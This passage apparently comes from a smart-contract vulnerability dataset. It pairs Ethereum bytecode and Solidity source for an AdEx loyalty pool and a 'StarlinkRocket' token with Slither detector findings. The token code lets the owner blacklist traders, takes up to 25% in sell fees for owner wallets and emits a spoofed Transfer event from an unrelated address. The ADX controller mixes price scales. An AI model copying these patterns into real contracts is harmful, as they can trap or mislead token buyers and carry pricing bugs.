a583604051808215151515815260200191505060405180910390a26001016114b8565b600c6020526000908152604090205481565b600154600160a060020a031633146115bf57600080fd5b600555565b600160a060020a039182166000908152600a6020908152604080832093909416825291909152205490565b6000806000808551118015611605575083518551145b80156116215750336000908152600b602052604090205460ff16155b801561163b5750336000908152600c602052604090205442115b151561164657600080fd5b5060009050805b84518110156117a8576000848281518110151561166657fe5b9060200190602002015111801561169e5750848181518110151561168657fe5b90602001906020020151600160a060020a0316600014155b80156116df5750600b600086838151811015156116b757fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156117265750600c600086838151811015156116f857fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b151561173157600080fd5b61175d6305f5e100858381518110151561174757fe5b602090810290910101519063ffffffff611f5616565b848281518110151561176b57fe5b60209081029091010152835161179e9085908390811061178757fe5b60209081029091010151839063ffffffff611f4716565b915060010161164d565b336000908152600960205260409020548211156117c457600080fd5b5060005b845181101561117a576117fe84828151811015156117e257fe5b906020019060200201516009600088858151811015156110be57fe5b60096000878481518110151561181057fe5b6020908102909101810151600160a060020a0316825281019190915260400160002055845185908290811061184157fe5b90602001906020020151600160a060020a031633600160a060020a0316600080516020612329833981519152868481518110151561187b57fe5b906020019060200201516040518082815260200191505060405180910390a36001016117c8565b60015460009081908190600160a060020a031633146118c057600080fd5b600085511180156118d2575083518551145b15156118dd57600080fd5b5060009050805b8451811015611b6257600084828151811015156118fd57fe5b906020019060200201511180156119355750848181518110151561191d57fe5b90602001906020020151600160a060020a0316600014155b80156119765750600b6000868381518110151561194e57fe5b6020908102909101810151600160a060020a031682528101919091526040016000205460ff16155b80156119bd5750600c6000868381518110151561198f57fe5b90602001906020020151600160a060020a0316600160a060020a031681526020019081526020016000205442115b15156119c857600080fd5b6119de6305f5e100858381518110151561174757fe5b84828151811015156119ec57fe5b602090810290910101528351849082908110611a0457fe5b90602001906020020151600960008784815181101515611a2057fe5b6020908102909101810151600160a060020a03168252810191909152604001600020541015611a4e57600080fd5b611aaa8482815181101515611a5f57fe5b90602001906020020151600960008885815181101515611a7b57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020549063ffffffff611f3516565b600960008784815181101515611abc57fe5b6020908102909101810151600160a060020a03168252810191909152604001600020558351611af19085908390811061178757fe5b915033600160a060020a03168582815181101515611b0b57fe5b90602001906020020151600160a060020a03166000805160206123298339815191528684815181101515611b3b57fe5b906020019060200201516040518082815260200191505060405180910390a36001016118e4565b3360009081526009602052604090205461119a908363ffffffff611f4716565b600154600160a060020a03163314611b9957600080fd5b600160a060020a0381161515611bae57600080fd5b600154604051600160a060020a038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a36001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008084118015611c385750336000908152600b602052604090205460ff16155b8015611c5d5750600160a060020a0385166000908152600b602052604090205460ff16155b8015611c775750336000908152600c602052604090205442115b8015611c9a5750600160a060020a0385166000908152600c602052604090205442115b1515611ca557600080fd5b611cae85611f81565b15611f1f5733600090815260096020526040902054841115611ccf57600080fd5b33600090815260096020526040902054611cef908563ffffffff611f3516565b3360009081526009602052604080822092909255600160a060020a03871681522054611d21908563ffffffff611f4716565b600160a060020a038616600081815260096020908152604080832094909455925185519293919286928291908401908083835b60208310611d735780518252601f199092019160209182019101611d54565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051809103902060e060020a9004903387876040518563ffffffff1660e060020a0281526004018084600160a060020a0316600160a060020a03168152602001838152602001828051906020019080838360005b83811015611e05578181015183820152602001611ded565b50505050905090810190601f168015611e325780820380516001836020036101000a031916815260200191505b50935050505060006040518083038185885af193505050501515611e5257fe5b826040518082805190602001908083835b60208310611e825780518252601f199092019160209182019101611e63565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123298339815191529181900360200190a3506001611f2d565b611f2a8585856121cd565b90505b949350505050565b600082821115611f4157fe5b50900390565b600082820183811015610c3457fe5b600080831515611f6957600091506113b7565b50828202828482811515611f7957fe5b0414610c3457fe5b6000903b1190565b336000908152600960205260408120548190841115611fa757600080fd5b33600090815260096020526040902054611fc7908563ffffffff611f3516565b3360009081526009602052604080822092909255600160a060020a03871681522054611ff9908563ffffffff611f4716565b600160a060020a03861660008181526009602090815260408083209490945592517fc0ee0b8a0000000000000000000000000000000000000000000000000000000081523360048201818152602483018a90526060604484019081528951606485015289518c9850959663c0ee0b8a9693958c958c956084909101928601918190849084905b8381101561209757818101518382015260200161207f565b50505050905090810190601f1680156120c45780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b1580156120e557600080fd5b505af11580156120f9573d6000803e3d6000fd5b50505050826040518082805190602001908083835b6020831061212d5780518252601f19909201916020918201910161210e565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208a83529351939550600160a060020a038b16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518581529051600160a060020a0387169133916000805160206123298339815191529181900360200190a3506001949350505050565b336000908152600960205260408120548311156121e957600080fd5b33600090815260096020526040902054612209908463ffffffff611f3516565b3360009081526009602052604080822092909255600160a060020a0386168152205461223b908463ffffffff611f4716565b600160a060020a0385166000908152600960209081526040918290209290925551835184928291908401908083835b602083106122895780518252601f19909201916020918201910161226a565b51815160209384036101000a6000190180199092169116179052604080519290940182900382208983529351939550600160a060020a038a16945033937fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c169350918290030190a4604080518481529051600160a060020a0386169133916000805160206123298339815191529181900360200190a350600193925050505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820474117b6f78b50ef282f2f7e0e4e75b663e704cc6f83368a2d41f24467910fee0029
{"success": true, "error": null, "results": {"detectors": [{"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-abstract", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
10,095
0x57ecd1f90b1298f374737f0d7dd6aabb11b41c0f
pragma solidity ^0.6.12; library SafeMath { function mul(uint a, uint b) internal pure returns (uint) { uint c = a * b; require(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal pure returns (uint) { require(b > 0); uint c = a / b; require(a == b * c + a % b); return c; } function sub(uint a, uint b) internal pure returns (uint) { require(b <= a); return a - b; } function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a); return c; } function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint a, uint b) internal pure returns (uint) { return a >= b ? a : b; } function min256(uint a, uint b) internal pure returns (uint) { return a < b ? a : b; } } interface ISupplyController { function mint(address token, address owner, uint amount) external; } interface IADXToken { function transfer(address to, uint256 amount) external returns (bool); function transferFrom(address from, address to, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function balanceOf(address spender) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function supplyController() external view returns (ISupplyController); } contract ADXLoyaltyPoolToken { using SafeMath for uint; // ERC20 stuff // Constants string public constant name = "AdEx Loyalty"; uint8 public constant decimals = 18; string public symbol = "ADX-LOYALTY"; // Mutable variables uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // EIP 2612 bytes32 public DOMAIN_SEPARATOR; // keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)"); bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9; mapping(address => uint) public nonces; // ERC20 events event Approval(address indexed owner, address indexed spender, uint amount); event Transfer(address indexed from, address indexed to, uint amount); function balanceOf(address owner) external view returns (uint balance) { return balances[owner]; } function transfer(address to, uint amount) external returns (bool success) { require(to != address(this), 'BAD_ADDRESS'); balances[msg.sender] = balances[msg.sender].sub(amount); balances[to] = balances[to].add(amount); emit Transfer(msg.sender, to, amount); return true; } function transferFrom(address from, address to, uint amount) external returns (bool success) { balances[from] = balances[from].sub(amount); allowed[from][msg.sender] = allowed[from][msg.sender].sub(amount); balances[to] = balances[to].add(amount); emit Transfer(from, to, amount); return true; } function approve(address spender, uint amount) external returns (bool success) { allowed[msg.sender][spender] = amount; emit Approval(msg.sender, spender, amount); return true; } function allowance(address owner, address spender) external view returns (uint remaining) { return allowed[owner][spender]; } // EIP 2612 function permit(address owner, address spender, uint amount, uint deadline, uint8 v, bytes32 r, bytes32 s) external { require(deadline >= block.timestamp, 'DEADLINE_EXPIRED'); bytes32 digest = keccak256(abi.encodePacked( '\x19\x01', DOMAIN_SEPARATOR, keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, amount, nonces[owner]++, deadline)) )); address recoveredAddress = ecrecover(digest, v, r, s); require(recoveredAddress != address(0) && recoveredAddress == owner, 'INVALID_SIGNATURE'); allowed[owner][spender] = amount; emit Approval(owner, spender, amount); } // Inner function innerMint(address owner, uint amount) internal { totalSupply = totalSupply.add(amount); balances[owner] = balances[owner].add(amount); // Because of https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md#transfer-1 emit Transfer(address(0), owner, amount); } function innerBurn(address owner, uint amount) internal { totalSupply = totalSupply.sub(amount); balances[owner] = balances[owner].sub(amount); emit Transfer(owner, address(0), amount); } // Pool functionality event LogSetGovernance(address indexed addr, bool hasGovt, uint time); event LogSetIncentive(uint incentive, uint time); IADXToken public ADXToken; uint public incentivePerTokenPerAnnum; uint public lastMintTime; uint public maxTotalADX; mapping (address => bool) public governance; constructor(IADXToken token, uint incentive, uint cap) public { ADXToken = token; incentivePerTokenPerAnnum = incentive; maxTotalADX = cap; governance[msg.sender] = true; lastMintTime = block.timestamp; // EIP 2612 uint chainId; assembly { chainId := chainid() } DOMAIN_SEPARATOR = keccak256( abi.encode( keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'), keccak256(bytes(name)), keccak256(bytes('1')), chainId, address(this) ) ); emit LogSetGovernance(msg.sender, true, block.timestamp); emit LogSetIncentive(incentive, block.timestamp); } // Governance functions function setGovernance(address addr, bool hasGovt) external { require(governance[msg.sender], 'NOT_GOVERNANCE'); governance[addr] = hasGovt; emit LogSetGovernance(addr, hasGovt, block.timestamp); } // This doesn't trigger a mint because otherwise we risk of being unable to setIncentive to 0 // if minting is impossible // It's the better tradeoff to make - and the issue of front-running mintIncnetive with setIncentive(0) can // be solved by timelocking the governance function setIncentive(uint newIncentive) external { require(governance[msg.sender], 'NOT_GOVERNANCE'); incentivePerTokenPerAnnum = newIncentive; lastMintTime = block.timestamp; emit LogSetIncentive(newIncentive, block.timestamp); } function setSymbol(string calldata newSymbol) external { require(governance[msg.sender], 'NOT_GOVERNANCE'); symbol = newSymbol; } function setMaxTotalADX(uint newMaxTotalADX) external { require(governance[msg.sender], 'NOT_GOVERNANCE'); maxTotalADX = newMaxTotalADX; } // Pool stuff // There are a few notable items in how minting works // 1) if ADX is sent to the LoyaltyPool in-between mints, it will calculate the incentive as if this amount // has been there the whole time since the last mint // 2) Compounding is happening when mint is called, so essentially when entities enter/leave/trigger it manually function toMint() external view returns (uint) { if (block.timestamp <= lastMintTime) return 0; uint totalADX = ADXToken.balanceOf(address(this)); return (block.timestamp - lastMintTime) .mul(totalADX) .mul(incentivePerTokenPerAnnum) .div(365 days * 10e17); } function shareValue() external view returns (uint) { if (totalSupply == 0) return 0; return ADXToken.balanceOf(address(this)) .add(this.toMint()) .mul(10e17) .div(totalSupply); } function mintIncentive() public { if (incentivePerTokenPerAnnum == 0) return; uint amountToMint = this.toMint(); if (amountToMint == 0) return; lastMintTime = block.timestamp; ADXToken.supplyController().mint(address(ADXToken), address(this), amountToMint); } function enter(uint256 amount) external { // Please note that minting has to be in the beginning so that we take it into account // when using ADXToken.balanceOf() // Minting makes an external call but it's to a trusted contract (ADXToken) mintIncentive(); uint totalADX = ADXToken.balanceOf(address(this)); require(totalADX.add(amount) <= maxTotalADX, 'REACHED_MAX_TOTAL_ADX'); // The totalADX == 0 check here should be redudnant; the only way to get totalSupply to a nonzero val is by adding ADX if (totalSupply == 0 || totalADX == 0) { innerMint(msg.sender, amount); } else { uint256 newShares = amount.mul(totalSupply).div(totalADX); innerMint(msg.sender, newShares); } require(ADXToken.transferFrom(msg.sender, address(this), amount)); } function leaveInner(uint256 shares) internal { uint256 totalADX = ADXToken.balanceOf(address(this)); uint256 adxAmount = shares.mul(totalADX).div(totalSupply); innerBurn(msg.sender, shares); require(ADXToken.transfer(msg.sender, adxAmount)); } function leave(uint256 shares) external { mintIncentive(); leaveInner(shares); } // Guarantees ADX can be taken out even if minting is failing function emergencyLeave(uint256 shares) external { leaveInner(shares); } } interface IChainlinkSimple { function latestAnswer() external view returns (uint); } // NOTE: If this needs to be upgraded, we just deploy a new instance and remove the governance rights // of the old instance and set rights for the new instance contract ADXLoyaltyPoolIncentiveController { IChainlinkSimple public constant ADXUSDOracle = IChainlinkSimple(0xA3eAeC3AB66048E6F3Cf23D81881a3fcd9A3D2ED); ADXLoyaltyPoolToken public immutable loyaltyPool; constructor(ADXLoyaltyPoolToken lpt) public { loyaltyPool = lpt; } function adjustIncentive() external { // Mint the current incurred incentive before changing the rate, // otherwise new rate would be applied for the entire period since the last mint loyaltyPool.mintIncentive(); // At some point we might enable bonus periods: // if (block.timestamp < ...) { ... } // Or overinflation protection // if (loyaltyPool.ADXToken().totalSupply() > ...) { ... } // Reset the rate based on the price from the Chainlink oracle uint price = ADXUSDOracle.latestAnswer(); require(price > 0, 'INVALID_ANSWER'); if (price < 0.05*10**8) { loyaltyPool.setIncentive(uint(0.10*10**18)); } else if (price < 0.10*10**18) { loyaltyPool.setIncentive(uint(0.15*10**18)); } else if (price < 0.20*10**18) { loyaltyPool.setIncentive(uint(0.25*10**18)); } else if (price < 0.30*10**18) { loyaltyPool.setIncentive(uint(0.30*10**18)); } else if (price < 0.50*10**18) { loyaltyPool.setIncentive(uint(0.35*10**18)); } else if (price < 1.00*10**18) { loyaltyPool.setIncentive(uint(0.40*10**18)); } else if (price < 2.00*10**18) { loyaltyPool.setIncentive(uint(0.45*10**18)); } else { loyaltyPool.setIncentive(uint(0.50*10**18)); } } }
0x608060405234801561001057600080fd5b50600436106100415760003560e01c806382abf6b214610046578063b6dcaf6514610050578063ca5d381314610084575b600080fd5b61004e6100b8565b005b610058610777565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61008c61078f565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16631564819f6040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561012057600080fd5b505af1158015610134573d6000803e3d6000fd5b50505050600073a3eaec3ab66048e6f3cf23d81881a3fcd9a3d2ed73ffffffffffffffffffffffffffffffffffffffff166350d25bcd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561019457600080fd5b505afa1580156101a8573d6000803e3d6000fd5b505050506040513d60208110156101be57600080fd5b8101908080519060200190929190505050905060008111610247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600e8152602001807f494e56414c49445f414e5357455200000000000000000000000000000000000081525060200191505060405180910390fd5b624c4b408110156102ea577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167016345785d8a00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156102cd57600080fd5b505af11580156102e1573d6000803e3d6000fd5b50505050610774565b67016345785d8a0000811015610392577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670214e8348c4f00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561037557600080fd5b505af1158015610389573d6000803e3d6000fd5b50505050610773565b6702c68af0bb14000081101561043a577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116703782dace9d900006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561041d57600080fd5b505af1158015610431573d6000803e3d6000fd5b50505050610772565b670429d069189e00008110156104e2577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df11670429d069189e00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156104c557600080fd5b505af11580156104d9573d6000803e3d6000fd5b50505050610771565b6706f05b59d3b2000081101561058a577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116704db7325476300006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561056d57600080fd5b505af1158015610581573d6000803e3d6000fd5b50505050610770565b670de0b6b3a7640000811015610632577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167058d15e1762800006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561061557600080fd5b505af1158015610629573d6000803e3d6000fd5b5050505061076f565b671bc16d674ec800008110156106da577f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df1167063eb89da4ed00006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b1580156106bd57600080fd5b505af11580156106d1573d6000803e3d6000fd5b5050505061076e565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c73ffffffffffffffffffffffffffffffffffffffff16630129df116706f05b59d3b200006040518263ffffffff1660e01b815260040180828152602001915050600060405180830381600087803b15801561075557600080fd5b505af1158015610769573d6000803e3d6000fd5b505050505b5b5b5b5b5b5b50565b73a3eaec3ab66048e6f3cf23d81881a3fcd9a3d2ed81565b7f000000000000000000000000d9a4cb9dc9296e111c66dfacab8be034ee2e1c2c8156fea2646970667358221220cd0e2761d2f563b953474db37c8a067ce4b7c88a5f93185e497bd66f95796bbc64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
10,096
0x9c3c10c5a9cef8fba07731928553ed845b96afff
/** *Submitted for verification at */ /** *Submitted for verification */ /** $____ ___ ____ ____ _ _ _ _ _ _ ____ ____ ____ _ _ ____ ___ [__ | |__| |__/ | | |\ | |_/ |__/ | | | |_/ |___ | ___] | | | | \ |___ | | \| | \_ | \ |__| |___ | \_ |___ | *Submitted for verification at */ // Telegram: https://t.me/StarlinkRocket // Website: www.StarlinkRocket.co // The new rocket token, starlink, designed to go only up // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed // Welcome Baby pragma solidity ^0.8.3; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract StarlinkRocket is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "StarlinkRocket"; string private constant _symbol = "StarlinkRocket"; uint8 private constant _decimals = 18; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _taxFee = 5; _teamFee = 10; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _taxFee = 5; _teamFee = 20; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 100000000000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _FeeAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _FeeAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
